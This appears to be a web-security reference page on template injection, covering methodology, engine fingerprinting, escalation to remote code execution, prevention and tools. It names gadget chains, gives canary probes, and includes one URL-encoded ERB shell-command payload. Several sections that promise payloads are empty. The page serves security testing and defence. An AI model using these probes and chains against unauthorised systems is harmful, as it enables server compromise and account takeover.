Server-Side Template Injection

§Basic information

Server-Side Template Injection (SSTI) happens when user input reaches a template engine's compile/eval path instead of its data path — so your string is parsed as template code and executed on the server, not rendered as an inert value. Engines mix a text template with a data context; the bug is feeding attacker text into the template half.

Because the template language exposes the host runtime (Python objects, the Node require graph, Java classes, PHP {php}), SSTI is a short hop from "my string renders" to "my code runs". Treat it as a near-universal RCE primitive — file read, command execution, full server compromise — not a reflection curiosity. Its client-side cousin CSTI (an AngularJS {{7*7}} that evaluates in the browser) shares the exact detection reflex and sandbox-escape mechanics, so it lives here too.

§Methodology

1. Map inputs → template sinks. For every field, header, and JSON/GraphQL value, find where it is later rendered. The high-value pattern is second-order: a value stored on one surface (profile name) rendered by a template on another (the welcome email).
2. Fire the arithmetic canary in each engine's delimiters. Data renders it literally; a template engine computes it. {{7*7}} → 49 is the whole tell.
3. Fingerprint the engine from which delimiter fired, then a language probe ({{'7'*7}} for Python, {$smarty.version} for Smarty, {{this}} for JS engines).
4. Escalate along that engine's runtime — Python __subclasses__() → Popen, JS __proto__.constructor → require, Java expression-language → ScriptEngineManager → ProcessBuilder.
5. For blind / second-order, plant the probe and wait for the out-of-band render (email subject/body, error page, PDF). Check the delivered artifact, not the HTTP response.

§Detection & fingerprinting

Send the fingerprint set and see which delimiter evaluates — that names the engine family.

Once a delimiter fires, confirm the exact engine before firing gadgets — the escalation path is engine-specific:

§Technique variants

Group by engine family — each exposes the host runtime differently.

Python — Jinja2 / Twig-style {{ }}

Walk the class hierarchy from any built-in object up to object, then down to a subclass that wraps os/subprocess, and call it.

NodeJS — Handlebars / Pug / EJS

JS engines reach code execution by traversing the prototype chain to constructor → require('child_process'). When the framework compiles a raw request string as a template, it is immediate RCE.

Ruby — ERB (render inline:)

Any request-derived string reaching render inline: / ERB.new compiles as ERB, so backtick shell-out executes.

Send it url-encoded where the field is passed on a query string: %3C%25%20%60touch%20me%60%20%25%3E.

PHP — Smarty {php}

When {php} tags (or insecure modifiers) are enabled, raw PHP inside the template runs — file read and RCE.

Java — FreeMarker / Velocity / OGNL

The JVM engines pivot into Runtime/ProcessBuilder, often via a scripting engine. Command output is usually reflected inline, so these are blind-free RCE.

Client-side — AngularJS (CSTI)

Angular evaluates {{ }} in the browser against $scope. Escape the expression sandbox (version-specific) to run arbitrary JS, or — even inside the sandbox — read $scope and leak it through any request-issuing attribute.

§Bypasses

§Escalation & impact

SSTI is usually the endpoint, not a step — it is the RCE. Two escalation shapes recur:

• Engine → host runtime → RCE. JS engines walk __proto__.constructor to require('child_process') (#423541, #3122019); Python walks __subclasses__() to Popen (#125980); Java expression-languages pivot through ScriptEngineManager('JavaScript') into ProcessBuilder (#1327769), or Velocity reflects on java.lang.Runtime (#822002). Unauth product CVEs (VMware FreeMarker, Confluence OGNL, Solr Velocity) turn a fingerprint into pre-auth server compromise.
• CSTI → XSS → ATO. A stored Angular expression viewed by an admin steals the session for full account takeover (#141463); or read $scope and leak other users' tokens with no XSS at all (#271960). See the sibling XSS page for the sandbox-escape and delivery mechanics.
• Info disclosure short of RCE. Liquid to_yaml / method enumeration dumps hidden fields even where the engine is sandboxed against exec (#98259).

§Prevention

• Never render user input as a template. Pass it as a context variable into a pre-authored template so {{7*7}} displays literally. render inline: params[...] and reply.view({raw}) fed by request data are the bug itself.
• Sandbox and lock down the engine: Jinja2 SandboxedEnvironment, disable Smarty {php} and insecure modifiers, remove Solr's VelocityResponseWriter/DIH, keep FreeMarker/OGNL products patched to the CVE fix.
• Remember async sinks: a profile field that only ever reaches a mail template must still be treated as untrusted at mail-generation time — that is where the render happens.
• CSTI: mark user-data regions ng-non-bindable and upgrade off sandbox-broken AngularJS. A field where {{7*7}} renders literally with no surrounding ng-* binding is not exploitable.

§Tools

• tplmap — engine fingerprinting and automated exploitation across Jinja2/ERB/FreeMarker/Velocity/Smarty.
• Burp Repeater/Intruder — fire the fingerprint set and drive second-order probing (submit → open the email).
• Burp Collaborator / any canary host — for blind SSTI where output lands in an email or error page.
• Browser DevTools console — angular.version, $scope walking, and sandbox-escape testing for CSTI.
• Source-code grep — render inline:, ERB.new, compile(, renderString, reply.view({raw fed by request data.

✦Specimens — real-world examples

The techniques above are the general method. Below, each disclosed HackerOne report is a catalogued example — concrete payload, outcome, and matching practice lab. 14 in this class.

§References & practice

1. PortSwigger Web Security Academy — Server-side template injection labs (hands-on practice).
2. All 14 disclosed reports for this class are catalogued as specimens above.
3. See also: exploit chains · payload libraries · methodology.